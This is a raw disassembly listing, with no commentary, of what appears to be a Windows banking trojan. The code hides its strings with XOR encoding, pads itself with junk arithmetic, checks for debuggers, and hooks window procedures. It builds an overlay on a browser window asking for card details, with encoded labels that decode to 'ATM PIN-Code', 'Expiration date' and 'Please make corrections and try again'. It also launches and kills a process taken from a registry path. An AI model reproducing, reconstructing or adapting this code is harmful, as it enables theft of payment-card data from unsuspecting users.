44h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al push 4 push 1000h push [ebp+arg_0] push 0 call sub_40C68C ; VirtualAlloc leave retn sub_40876A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408792 proc near ; CODE XREF: sub_408884+F9p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_2], 77h add [ebp+var_2], 3337h push 8000h push 0 push [ebp+arg_0] call sub_40C698 ; VirtualFree jmp short locret_4087B8 ; --------------------------------------------------------------------------- call sub_40C4E8 ; RtlGetLastWin32Error locret_4087B8: ; CODE XREF: sub_408792+1Fj leave retn sub_408792 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 26h push esi push dword ptr [ebp+8] mov eax, dword_446538 lea eax, ds:43A3B0h[eax] push eax call sub_40C998 add esp, 0Ch mov dword ptr [ebp-8], 207h xor edi, edi jmp short loc_408807 ; --------------------------------------------------------------------------- loc_4087F0: ; CODE XREF: .text:00408809j mov eax, dword_446538 add eax, edi lea eax, ds:43A3B0h[eax] movsx edx, byte ptr [eax] xor edx, 62h mov [eax], dl inc edi loc_408807: ; CODE XREF: .text:004087EEj cmp edi, esi jl short loc_4087F0 mov dword ptr [ebp-0Ch], 294h mov eax, dword_446538 add eax, esi mov byte ptr ds:dword_43A3B0[eax], 0 xor edi, edi mov edi, dword_446538 mov eax, edi add eax, 6 add eax, esi mov dword_446538, eax add dword_446538, 2 cmp dword_446538, 0DFCh jle short loc_40884F and dword_446538, 0 loc_40884F: ; CODE XREF: .text:00408846j mov dword ptr [ebp-10h], 158h lea eax, dword_43A3B0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408860 proc near ; CODE XREF: sub_408884+10Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp call sub_40C4B8 ; GetCurrentProcessId push offset dword_4464E4 push offset dword_4464A4 push [ebp+arg_4] push [ebp+arg_0] call sub_40BA04 call sub_40C4E8 ; RtlGetLastWin32Error pop ebp retn sub_408860 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408884 proc near ; CODE XREF: sub_409883+414p var_79 = byte ptr -79h var_78 = word ptr -78h var_76 = byte ptr -76h var_6F = byte ptr -6Fh var_69 = byte ptr -69h var_62 = byte ptr -62h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 7Ch push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C548 ; GetTickCount lea edi, [ebp+var_69] lea esi, aFf3?B ; "Ff3? b" mov ecx, 7 rep movsb lea edi, [ebp+var_6F] lea esi, a_lpbl ; ".LpBL" mov ecx, 3 rep movsw mov eax, [ebp+arg_4] add eax, 40h jge short loc_4088C1 add eax, 3Fh loc_4088C1: ; CODE XREF: sub_408884+38j sar eax, 6 mov edi, eax shl edi, 6 push edi call sub_40876A pop ecx mov [ebp+var_18], eax mov [ebp+var_1C], 40FBh add [ebp+var_1C], 7E12h mov eax, [ebp+arg_4] add eax, 40h jge short loc_4088EC add eax, 3Fh loc_4088EC: ; CODE XREF: sub_408884+63j sar eax, 6 mov edi, eax shl edi, 6 push edi push [ebp+var_18] call sub_40C644 ; RtlZeroMemory call sub_40C4E8 ; RtlGetLastWin32Error push [ebp+arg_4] push ebx push [ebp+var_18] call sub_40C998 add esp, 0Ch mov [ebp+var_20], 7904h inc [ebp+var_20] lea eax, [ebp+var_14] push eax call sub_40BB42 lea edi, [ebp+var_76] lea esi, aHCwul ; "H,CwUL" mov ecx, 7 rep movsb mov ebx, [ebp+var_18] and [ebp+var_4], 0 jmp short loc_408967 ; --------------------------------------------------------------------------- loc_40893D: ; CODE XREF: sub_408884+F4j lea edi, [ebp+var_79] lea esi, dword_446550 xor ecx, ecx inc ecx rep movsb push ebx lea eax, [ebp+var_14] push eax call sub_40BB69 mov [ebp+var_78], 4738h sub [ebp+var_78], 2F2Eh add ebx, 40h inc [ebp+var_4] loc_408967: ; CODE XREF: sub_408884+B7j mov eax, [ebp+arg_4] add eax, 40h jge short loc_408972 add eax, 3Fh loc_408972: ; CODE XREF: sub_408884+E9j sar eax, 6 cmp [ebp+var_4], eax jl short loc_40893D push [ebp+var_18] call sub_408792 mov [ebp+var_21], 6Dh add [ebp+var_21], 1 lea eax, [ebp+var_62] push eax push [ebp+arg_8] call sub_408860 call sub_40C548 ; GetTickCount mov eax, dword_446534 add eax, 5 push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_62] push eax call sub_40C98C add esp, 18h or eax, eax jz short loc_4089BD xor eax, eax inc eax jmp short loc_4089C7 ; --------------------------------------------------------------------------- loc_4089BD: ; CODE XREF: sub_408884+132j mov [ebp+var_22], 0C3h sub [ebp+var_22], 0ACh xor eax, eax loc_4089C7: ; CODE XREF: sub_408884+137j pop edi pop esi pop ebx leave retn sub_408884 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_44655C lea eax, ds:439360h[eax] push eax call sub_40C998 add esp, 0Ch mov dword ptr [ebp-4], 210h xor edi, edi jmp short loc_408A13 ; --------------------------------------------------------------------------- loc_4089F9: ; CODE XREF: .text:00408A15j mov eax, dword_44655C add eax, edi lea eax, ds:439360h[eax] movsx edx, byte ptr [eax] xor edx, 85h mov [eax], dl inc edi loc_408A13: ; CODE XREF: .text:004089F7j cmp edi, esi jl short loc_4089F9 mov eax, dword_44655C add eax, esi mov byte ptr ds:dword_439360[eax], 0 mov edi, dword_44655C mov eax, edi lea eax, [eax+esi+4] mov dword_44655C, eax cmp eax, 0DFEh jle short loc_408A45 and dword_44655C, 0 loc_408A45: ; CODE XREF: .text:00408A3Cj lea eax, dword_439360[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408A4F proc near ; CODE XREF: sub_409883+377p ; sub_409883+38Fp var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi mov [ebp+var_16], 243Ch movzx eax, [ebp+var_16] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_16], ax xor eax, eax mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_4], eax mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov eax, [ebp+arg_8] add eax, [ebp+var_8] mov [ebp+var_C], eax mov ebx, [ebp+arg_0] jmp loc_408B70 ; --------------------------------------------------------------------------- loc_408A8E: ; CODE XREF: sub_408A4F+12Cj lea edi, [ebp+var_1E] lea esi, a4Zqk? ; "4<Zqk?" mov ecx, 7 rep movsb movsx edi, byte ptr [ebx] shl edi, 2 mov edi, dword_446560[edi] mov [ebp+var_4], edi call sub_40C518 ; GetProcessHeap cmp edi, 0FFFFFFFFh jz loc_408B6F call sub_40C548 ; GetTickCount mov eax, [ebp+var_10] or eax, eax jl loc_408B69 cmp eax, 3 jg loc_408B69 jmp off_44696C[eax*4] ; --------------------------------------------------------------------------- call sub_40C5D8 ; IsDebuggerPresent loc_408AE1: ; CODE XREF: sub_408A4F+86j ; DATA XREF: .data:off_44696Co inc [ebp+var_10] call sub_40C518 ; GetProcessHeap jmp short loc_408B69 ; --------------------------------------------------------------------------- loc_408AEB: ; CODE XREF: sub_408A4F+86j ; DATA XREF: .data:00446970o mov edi, [ebp+var_14] shl edi, 2 mov esi, [ebp+var_4] and esi, 30h sar esi, 4 or edi, esi mov edx, edi mov [ebp+var_17], dl call sub_40C4E8 ; RtlGetLastWin32Error mov eax, [ebp+var_8] inc [ebp+var_8] mov dl, [ebp+var_17] mov [eax], dl inc [ebp+var_10] jmp short loc_408B69 ; --------------------------------------------------------------------------- loc_408B16: ; CODE XREF: sub_408A4F+86j ; DATA XREF: .data:00446974o mov edi, [ebp+var_14] and edi, 0Fh shl edi, 4 mov esi, [ebp+var_4] and esi, 3Ch sar esi, 2 or edi, esi mov edx, edi mov [ebp+var_17], dl call sub_40C4B8 ; GetCurrentProcessId mov eax, [ebp+var_8] inc [ebp+var_8] mov dl, [ebp+var_17] mov [eax], dl inc [ebp+var_10] jmp short loc_408B69 ; --------------------------------------------------------------------------- loc_408B44: ; CODE XREF: sub_408A4F+86j ; DATA XREF: .data:00446978o mov edi, [ebp+var_14] and edi, 3 shl edi, 6 or edi, [ebp+var_4] mov edx, edi mov [ebp+var_17], dl call sub_40C548 ; GetTickCount mov eax, [ebp+var_8] inc [ebp+var_8] mov dl, [ebp+var_17] mov [eax], dl and [ebp+var_10], 0 loc_408B69: ; CODE XREF: sub_408A4F+77j ; sub_408A4F+80j ... mov eax, [ebp+var_4] mov [ebp+var_14], eax loc_408B6F: ; CODE XREF: sub_408A4F+67j inc ebx loc_408B70: ; CODE XREF: sub_408A4F+3Aj cmp byte ptr [ebx], 0 jz short loc_408B81 mov eax, [ebp+var_C] cmp [ebp+var_8], eax jb loc_408A8E loc_408B81: ; CODE XREF: sub_408A4F+124j cmp byte ptr [ebx], 0 jnz short loc_408BA6 mov [ebp+var_1C], 68F4h sub [ebp+var_1C], 6A0Fh mov eax, [ebp+var_8] sub eax, [ebp+arg_4] jmp short loc_408BA9 ; --------------------------------------------------------------------------- mov ax, word_446967 mov [ebp+var_1E], ax loc_408BA6: ; CODE XREF: sub_408A4F+135j or eax, 0FFFFFFFFh loc_408BA9: ; CODE XREF: sub_408A4F+14Bj pop edi pop esi pop ebx leave retn sub_408A4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408BAE proc near ; CODE XREF: sub_408C55+47p ; sub_408C55+59p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 0A0h push esi push [ebp+arg_0] mov eax, dword_446984 lea eax, ds:413E20h[eax] push eax call sub_40C998 add esp, 0Ch mov [ebp+var_8], 92h xor edi, edi jmp short loc_408BFB ; --------------------------------------------------------------------------- loc_408BE4: ; CODE XREF: sub_408BAE+4Fj mov eax, dword_446984 add eax, edi lea eax, ds:413E20h[eax] movsx edx, byte ptr [eax] xor edx, 24h mov [eax], dl inc edi loc_408BFB: ; CODE XREF: sub_408BAE+34j cmp edi, esi jl short loc_408BE4 mov eax, dword_446984 add eax, esi mov byte ptr ds:dword_413E20[eax], 0 xor edi, edi mov edi, dword_446984 inc dword_446984 mov eax, dword_446984 lea eax, [eax+esi+6] mov dword_446984, eax add dword_446984, 2 cmp dword_446984, 0DB8h jle short loc_408C44 and dword_446984, 0 loc_408C44: ; CODE XREF: sub_408BAE+8Dj mov [ebp+var_C], 2B6h lea eax, dword_413E20[edi] pop edi pop esi leave retn sub_408BAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408C55 proc near ; CODE XREF: sub_409883+608p ; sub_409883:loc_40A074p ... var_285 = byte ptr -285h var_282 = word ptr -282h var_280 = dword ptr -280h var_279 = byte ptr -279h var_274 = byte ptr -274h var_26D = byte ptr -26Dh var_26C = byte ptr -26Ch var_265 = byte ptr -265h var_264 = dword ptr -264h var_260 = byte ptr -260h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_14C = word ptr -14Ch var_14A = byte ptr -14Ah var_46 = word ptr -46h var_44 = dword ptr -44h var_18 = dword ptr -18h var_14 = word ptr -14h push ebp mov ebp, esp sub esp, 288h push ebx push esi push edi mov [ebp+var_46], 635Bh movzx eax, [ebp+var_46] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_46], ax lea edi, [ebp+var_265] lea esi, byte_446988 xor ecx, ecx inc ecx rep movsb call sub_40C554 ; GetVersion mov [ebp+var_264], 104h push 21h push offset byte_446E25 call sub_408BAE mov [ebp+var_280], eax push 4 push offset aTepl ; "tEPL" call sub_408BAE lea edi, [ebp+var_26C] push edi lea edi, [ebp+var_264] push edi lea edi, [ebp+var_260] push edi push eax mov edi, [ebp+var_280] push edi push 80000002h call sub_401490 add esp, 28h mov ebx, eax call sub_40C4C4 ; GetCurrentThreadId or ebx, ebx jz loc_408E52 call sub_40C518 ; GetProcessHeap lea edi, [ebp+var_26D] lea esi, byte_446989 xor ecx, ecx inc ecx rep movsb push 104h lea eax, [ebp+var_14A] push eax lea eax, [ebp+var_260] push eax call sub_40C4A0 ; ExpandEnvironmentStringsA push 1Eh push offset byte_446E01 call sub_408BAE push eax lea edi, [ebp+var_14A] push edi call sub_40C9F8 call sub_40C4C4 ; GetCurrentThreadId call sub_404502 mov ebx, eax lea edi, [ebp+var_274] lea esi, aHt@zso ; "Ht@zSo" mov ecx, 7 rep movsb push 44h push 0 lea eax, [ebp+var_44] push eax call sub_40C9A4 call sub_40C548 ; GetTickCount push 44h push 0 lea eax, [ebp+var_44] push eax call sub_40C9A4 add esp, 28h mov [ebp+var_14C], 1CCDh inc [ebp+var_14C] mov [ebp+var_44], 44h lea edi, [ebp+var_279] lea esi, a7r ; "7R " mov ecx, 5 rep movsb mov [ebp+var_18], 1 mov [ebp+var_14], 1 or ebx, ebx jz short loc_408DBB lea eax, [ebp+var_44] push eax call sub_404590 pop ecx jmp short loc_408DC1 ; --------------------------------------------------------------------------- loc_408DBB: ; CODE XREF: sub_408C55+158j mov [ebp+var_14], 0 loc_408DC1: ; CODE XREF: sub_408C55+164j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 20h push 0 push 0 push 0 lea eax, [ebp+var_14A] push eax push 0 call sub_40C6F8 ; CreateProcessA or eax, eax jz short loc_408E52 lea edi, [ebp+var_285] lea esi, aG ; " " mov ecx, 3 rep movsb push [ebp+var_158] call sub_40C530 ; CloseHandle push 7530h call sub_40C95C pop ecx mov [ebp+var_282], 26C2h movzx eax, [ebp+var_282] imul eax, 3CDCh mov [ebp+var_282], ax push 0 push [ebp+var_15C] call sub_40C680 ; TerminateProcess call sub_40C518 ; GetProcessHeap push [ebp+var_15C] call sub_40C530 ; CloseHandle call sub_40C548 ; GetTickCount loc_408E52: ; CODE XREF: sub_408C55+91j ; sub_408C55+193j pop edi pop esi pop ebx leave retn sub_408C55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E57 proc near ; CODE XREF: sub_408EFF+21p ; sub_408EFF+3Bp ... var_100C = dword ptr -100Ch var_1007 = byte ptr -1007h var_1001 = byte ptr -1001h var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_40C43C push ebx push esi push edi mov [ebp+var_2], 77B3h movzx eax, [ebp+var_2] imul eax, 7D32h mov [ebp+var_2], ax push 5 push [ebp+arg_0] call sub_40C740 ; GetWindow mov ebx, eax loc_408E87: ; CODE XREF: sub_408E57+A1j or ebx, ebx jnz short loc_408E8F xor eax, eax jmp short loc_408EFA ; --------------------------------------------------------------------------- loc_408E8F: ; CODE XREF: sub_408E57+32j lea edi, [ebp+var_1007] lea esi, aQy3 ; "qY3 `" mov ecx, 3 rep movsw push 0FFFh lea eax, [ebp+var_1001] push eax push ebx call sub_40C74C ; GetClassNameA mov eax, 10h sub eax, dword_43C098 push eax push [ebp+arg_4] lea eax, [ebp+var_1001] push eax call sub_4017D2 add esp, 0Ch cmp eax, 0FFFFh jz short loc_408EDE mov eax, ebx jmp short loc_408EFA ; --------------------------------------------------------------------------- loc_408EDE: ; CODE XREF: sub_408E57+81j call sub_40C4C4 ; GetCurrentThreadId push 2 push ebx call sub_40C740 ; GetWindow mov ebx, eax mov eax, dword_44699F mov [ebp+var_100C+1], eax jmp short loc_408E87 ; --------------------------------------------------------------------------- loc_408EFA: ; CODE XREF: sub_408E57+36j ; sub_408E57+85j pop edi pop esi pop ebx leave retn sub_408E57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EFF proc near ; CODE XREF: sub_40B090+227p var_160 = dword ptr -160h var_15C = dword ptr -15Ch var_156 = word ptr -156h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h var_141 = byte ptr -141h var_139 = word ptr -139h var_137 = byte ptr -137h var_136 = byte ptr -136h var_133 = byte ptr -133h var_132 = byte ptr -132h var_12C = word ptr -12Ch var_12A = word ptr -12Ah var_128 = dword ptr -128h var_124 = dword ptr -124h var_11F = byte ptr -11Fh var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_115 = byte ptr -115h var_114 = word ptr -114h var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = dword ptr -10Ah var_106 = dword ptr -106h var_102 = byte ptr -102h var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 160h push ebx push esi push edi call sub_40C4C4 ; GetCurrentThreadId push 9 push offset aAjfjgoFq ; "AjfJgo`fq" call sub_40129C push eax push [ebp+arg_0] call sub_408E57 mov ebx, eax call sub_40C548 ; GetTickCount push 8 push offset a@UijwW ; "@}uijw`w" call sub_40129C push eax push ebx call sub_408E57 mov ds:dword_41DA74, eax call sub_40C548 ; GetTickCount push 0 push ds:dword_41DA74 call sub_40C830 ; ShowWindow call sub_40C4E8 ; RtlGetLastWin32Error lea eax, [ebp+var_112] push eax push ebx call sub_40C728 ; GetWindowRect call sub_40C5D8 ; IsDebuggerPresent push 0 push ds:dword_41EB6C push 0 push ebx mov eax, [ebp+var_106] sub eax, [ebp+var_10E] push eax mov eax, [ebp+var_10A] sub eax, [ebp+var_112] push eax push 0 push 0 push 50800000h push offset byte_4474F5 push offset aKkqhook ; "KKQHOOK" push 200h call sub_40C83C ; CreateWindowExA mov ds:dword_41FC74, eax call sub_40C5D8 ; IsDebuggerPresent push 6 push offset aVqdqlf ; "VQDQLF" call sub_40129C mov [ebp+var_148], eax push 19h push offset dword_446DC4 call sub_40129C push 0 push ds:dword_41EB6C push 0 push ds:dword_41FC74 mov edi, dword_43C098 add edi, 2Dh push edi mov edi, [ebp+var_10A] sub edi, [ebp+var_112] sub edi, 64h push edi mov edi, dword_43C098 add edi, 5 push edi mov edi, dword_43C094 add edi, 13h push edi push 50800000h push eax mov edi, [ebp+var_148] push edi push 0 call sub_40C83C ; CreateWindowExA mov ds:dword_41DA70, eax mov ax, word_4469A3 mov [ebp+var_12A], ax push 6 push offset aVqdqlf ; "VQDQLF" call sub_40129C push 0 push ds:dword_41EB6C push 0 push ds:dword_41FC74 mov edi, dword_43C094 add edi, 12Bh push edi mov edi, [ebp+var_10A] sub edi, [ebp+var_112] sub edi, 64h push edi mov edi, dword_43C098 add edi, 42h push edi mov edi, dword_43C098 add edi, 5 push edi push 50800009h push offset byte_4474F5 push eax push 0 call sub_40C83C ; CreateWindowExA mov ds:dword_430C5C, eax call sub_40C554 ; GetVersion push 0 push 2 push 0 push 0 push 5 push 1 push 0 push 0 push 0 push 2BCh push 0 push 0 mov eax, dword_43C098 mov edx, 17h sub edx, eax push edx mov eax, dword_43C098 add eax, 5 push eax call sub_40C89C ; CreateFontA mov [ebp+var_128], eax push 1 push eax push 30h push ds:dword_41DA70 call sub_40C80C ; SendMessageA call sub_40C518 ; GetProcessHeap push 8 push offset aFjhgjgj ; "FJHGJGJ]" call sub_40129C push 0 push ds:dword_41EB6C push 0 push ds:dword_430C5C mov edi, dword_43C094 add edi, 12Bh push edi mov edi, dword_43C098 add edi, 23h push edi mov edi, dword_43C098 add edi, 2Bh push edi mov edi, dword_43C094 add edi, 13h push edi push 50800003h push offset byte_4474F5 push eax push 0 call sub_40C83C ; CreateWindowExA mov ds:dword_432DC4, eax mov ax, word_4469A5 mov [ebp+var_12C], ax push 8 push offset aFjhgjgj ; "FJHGJGJ]" call sub_40129C add esp, 48h push 0 push ds:dword_41EB6C push 0 push ds:dword_430C5C mov edi, dword_43C094 add edi, 12Bh push edi mov edi, dword_43C094 add edi, 3Bh push edi mov edi, dword_43C098 add edi, 2Bh push edi mov edi, dword_43C094 add edi, 51h push edi push 50800003h push offset byte_4474F5 push eax push 0 call sub_40C83C ; CreateWindowExA mov ds:dword_41EB64, eax mov [ebp+var_2], 1 jmp loc_40926D ; --------------------------------------------------------------------------- loc_4091CC: ; CODE XREF: sub_408EFF+375j mov byte ptr [ebp+var_154+1], 0F0h sub byte ptr [ebp+var_154+1], 3Ch mov ax, word_4469A7 mov [ebp+var_156], ax push 4 push offset a7p ; " +7p" call sub_40129C movzx edi, [ebp+var_2] push edi push eax lea edi, [ebp+var_154+2] push edi call sub_40C9D4 lea eax, [ebp+var_154+2] push eax push 0 push 143h push ds:dword_432DC4 call sub_40C80C ; SendMessageA push 6 push offset a757p ; "75 +7p" call sub_40129C movzx edi, [ebp+var_2] add edi, 4 push edi push eax lea edi, [ebp+var_154+2] push edi call sub_40C9D4 add esp, 28h mov byte ptr [ebp+var_154], 0CCh add byte ptr [ebp+var_154], 0C7h lea eax, [ebp+var_154+2] push eax push 0 push 143h push ds:dword_41EB64 call sub_40C80C ; SendMessageA inc [ebp+var_2] loc_40926D: ; CODE XREF: sub_408EFF+2C8j movzx eax, [ebp+var_2] cmp eax, 0Dh jl loc_4091CC push 6 push offset aVqdqlf ; "VQDQLF" call sub_40129C mov [ebp+var_14C], eax push 10h push offset aJpwFdwaKphgW ; "\\jpw%fdwa%kphg`w" call sub_40129C push 0 push ds:dword_41EB6C push 0 push ds:dword_41FC74 mov edi, dword_43C098 inc edi push edi mov edi, dword_43C098 add edi, 58h push edi mov edi, dword_43C094 add edi, 6Dh push edi mov edi, dword_43C098 add edi, 0B4h push edi push 50000000h push eax mov edi, [ebp+var_14C] push edi push 0 call sub_40C83C ; CreateWindowExA mov ds:dword_413E18, eax lea edi, [ebp+var_132] lea esi, aKgH ; "KG H^" mov ecx, 3 rep movsw push 6 push offset aVqdqlf ; "VQDQLF" call sub_40129C mov [ebp+var_150], eax push 0Fh push offset a@UlwdqljkAdq ; "@}ulwdqljk%adq`" call sub_40129C push 0 push ds:dword_41EB6C push 0 push ds:dword_41FC74 mov edi, dword_43C098 inc edi push edi mov edi, dword_43C098 add edi, 48h push edi mov edi, dword_43C094 add edi, 90h push edi mov edi, dword_43C098 add edi, 0B4h push edi push 50000000h push eax mov edi, [ebp+var_150] push edi push 0 call sub_40C83C ; CreateWindowExA mov ds:dword_432DBC, eax lea edi, [ebp+var_133] lea esi, byte_4469AF xor ecx, ecx inc ecx rep movsb push 6 push offset aVqdqlf ; "VQDQLF" call sub_40129C mov [ebp+var_154], eax push 0Ch push offset aDqhUlkFja ; "DQH%ULK(Fja`" call sub_40129C push 0 push ds:dword_41EB6C push 0 push ds:dword_41FC74 mov edi, dword_43C098 inc edi push edi mov edi, dword_43C098 add edi, 47h push edi mov edi, dword_43C098 add edi, 0AAh push edi mov edi, dword_43C098 add edi, 0B4h push edi push 50000000h push eax mov edi, [ebp+var_154] push edi push 0 call sub_40C83C ; CreateWindowExA mov ds:dword_4350B4, eax call sub_40C554 ; GetVersion push 6 push offset aVqdqlf ; "VQDQLF" call sub_40129C mov [ebp-158h], eax push 4Ah push offset word_446D36 call sub_40129C push 0 push ds:dword_41EB6C push 0 push ds:dword_41FC74 mov edi, dword_43C098 inc edi push edi mov edi, dword_43C094 add edi, 1E3h push edi mov edi, dword_43C098 add edi, 0D7h push edi mov edi, dword_43C098 add edi, 0Fh push edi push 50000000h push eax mov edi, [ebp-158h] push edi push 0 call sub_40C83C ; CreateWindowExA mov ds:dword_432DC0, eax push 6 push offset aVqdqlf ; "VQDQLF" call sub_40129C mov [ebp+var_15C], eax push 26h push offset aUiDvHdnFjwwFql ; "Ui`dv`%hdn`%fjww`fqljkv%dka%qw|%dbdlk+" call sub_40129C push 0 push ds:dword_41EB6C push 0 push ds:dword_41FC74 mov edi, dword_43C094 add edi, 0Fh push edi mov edi, dword_43C098 add edi, 0EEh push edi mov edi, dword_43C098 add edi, 0F0h push edi mov edi, dword_43C098 add edi, 0Fh push edi push 50000000h push eax mov edi, [ebp+var_15C] push edi push 0 call sub_40C83C ; CreateWindowExA mov ds:dword_43A398, eax call sub_40C4B8 ; GetCurrentProcessId lea edi, [ebp+var_136] lea esi, aZ_0 ; "z " mov ecx, 3 rep movsb push offset byte_433F40 lea eax, [ebp+var_102] push eax call sub_40C9D4 add esp, 58h call sub_40C5D8 ; IsDebuggerPresent mov [ebp+var_3], 4 jmp short loc_409529 ; --------------------------------------------------------------------------- loc_409519: ; CODE XREF: sub_408EFF+62Fj movzx eax, [ebp+var_3] mov [ebp+eax+var_102], 78h add [ebp+var_3], 1 loc_409529: ; CODE XREF: sub_408EFF+618j mov al, [ebp+var_3] cmp al, 0Ch jb short loc_409519 mov [ebp+var_114], 754Eh sub [ebp+var_114], 4E66h push 4 push offset a@alq ; "@ALQ" call sub_40129C push 0 push ds:dword_41EB6C push 0 push ds:dword_430C5C mov edi, dword_43C094 add edi, 17h push edi mov edi, dword_43C094 add edi, 81h push edi mov edi, dword_43C098 add edi, 5 push edi push edi push 50800800h lea edi, [ebp+var_102] push edi push eax push 200h call sub_40C83C ; CreateWindowExA mov ds:dword_410630, eax call sub_40C4B8 ; GetCurrentProcessId push 4 push offset a@alq ; "@ALQ" call sub_40129C push 0 push ds:dword_41EB6C push 0 push ds:dword_430C5C mov edi, dword_43C098 add edi, 9 push edi mov edi, dword_43C098 add edi, 37h push edi mov edi, dword_43C094 add edi, 5Eh push edi mov edi, dword_43C098 add edi, 5 push edi push 50800000h push offset byte_4474F5 push eax push 200h call sub_40C83C ; CreateWindowExA mov ds:dword_41EB5C, eax call sub_40C548 ; GetTickCount push 0 push 78h push 0CCh push ds:dword_41EB5C call sub_40C80C ; SendMessageA call sub_40C548 ; GetTickCount push 6 push offset aGpqqjk ; "GPQQJK" call sub_40129C mov [ebp+var_160], eax push 16h push offset aFilfnJkfQjFjkq ; "Filfn%Jkf`%Qj%Fjkqlkp`" call sub_40129C add esp, 20h push 0 push ds:dword_41EB6C push 0 push ds:dword_41FC74 mov edi, dword_43C098 add edi, 8 push edi mov edi, dword_43C098 add edi, 8Ch push edi mov edi, dword_43C098 add edi, 131h push edi mov edi, dword_43C094 add edi, 1Dh push edi push 50800000h push eax mov edi, [ebp+var_160] push edi push 0 call sub_40C83C ; CreateWindowExA mov ds:dword_4350B8, eax lea edi, [ebp+var_137] lea esi, byte_4469B3 xor ecx, ecx inc ecx rep movsb push 0 push 2 push 0 push 0 push 5 push 1 push 0 push 0 push 0 push 190h push 0 push 0 mov eax, dword_43C098 mov edx, 15h sub edx, eax push edx mov eax, dword_43C098 inc eax push eax call sub_40C89C ; CreateFontA mov ebx, eax mov ax, word_4469B4 mov [ebp+var_139], ax push 1 push ebx push 30h push ds:dword_432DC4 call sub_40C80C ; SendMessageA call sub_40C518 ; GetProcessHeap push 1 push ebx push 30h push ds:dword_41EB64 call sub_40C80C ; SendMessageA mov [ebp+var_115], 67h add [ebp+var_115], 66h push 1 push ebx push 30h push ds:dword_410630 call sub_40C80C ; SendMessageA call sub_40C4C4 ; GetCurrentThreadId push 1 push ebx push 30h push ds:dword_41EB5C call sub_40C80C ; SendMessageA call sub_40C4E8 ; RtlGetLastWin32Error push 1 push ebx push 30h push ds:dword_432DBC call sub_40C80C ; SendMessageA mov [ebp+var_11C], 7D69h inc [ebp+var_11C] push 1 push ebx push 30h push ds:dword_413E18 call sub_40C80C ; SendMessageA mov [ebp+var_11E], 2C4Fh sub [ebp+var_11E], 6B92h push 1 push ebx push 30h push ds:dword_4350B4 call sub_40C80C ; SendMessageA push 1 push ebx push 30h push ds:dword_4350B8 call sub_40C80C ; SendMessageA call sub_40C4B8 ; GetCurrentProcessId push 0FFFFFFFCh push ds:dword_432DC4 call sub_40C7AC ; GetWindowLongA mov ds:dword_41FB64, eax call sub_40C5D8 ; IsDebuggerPresent push offset sub_40AF80 push 0FFFFFFFCh push ds:dword_432DC4 call sub_40C7B8 ; SetWindowLongA call sub_40C554 ; GetVersion push 0FFFFFFFCh push ds:dword_41EB64 call sub_40C7AC ; GetWindowLongA mov ds:dword_41EB60, eax push offset sub_40AF80 push 0FFFFFFFCh push ds:dword_41EB64 call sub_40C7B8 ; SetWindowLongA push 0FFFFFFFCh push ds:dword_410630 call sub_40C7AC ; GetWindowLongA mov ds:dword_40DFD0, eax push offset sub_40AF80 push 0FFFFFFFCh push ds:dword_410630 call sub_40C7B8 ; SetWindowLongA push 0FFFFFFFCh push ds:dword_41EB5C call sub_40C7AC ; GetWindowLongA mov ds:dword_413E14, eax lea edi, [ebp+var_141] lea esi, aWvqrQ ; "WVqr^:Q" movsd movsd push offset sub_40AF80 push 0FFFFFFFCh push ds:dword_41EB5C call sub_40C7B8 ; SetWindowLongA mov [ebp+var_11F], 0A8h add [ebp+var_11F], 1 push ds:dword_432DC4 call sub_40C758 ; SetFocus mov [ebp+var_124], 2167h inc [ebp+var_124] pop edi pop esi pop ebx leave retn sub_408EFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_409883 proc near ; DATA XREF: 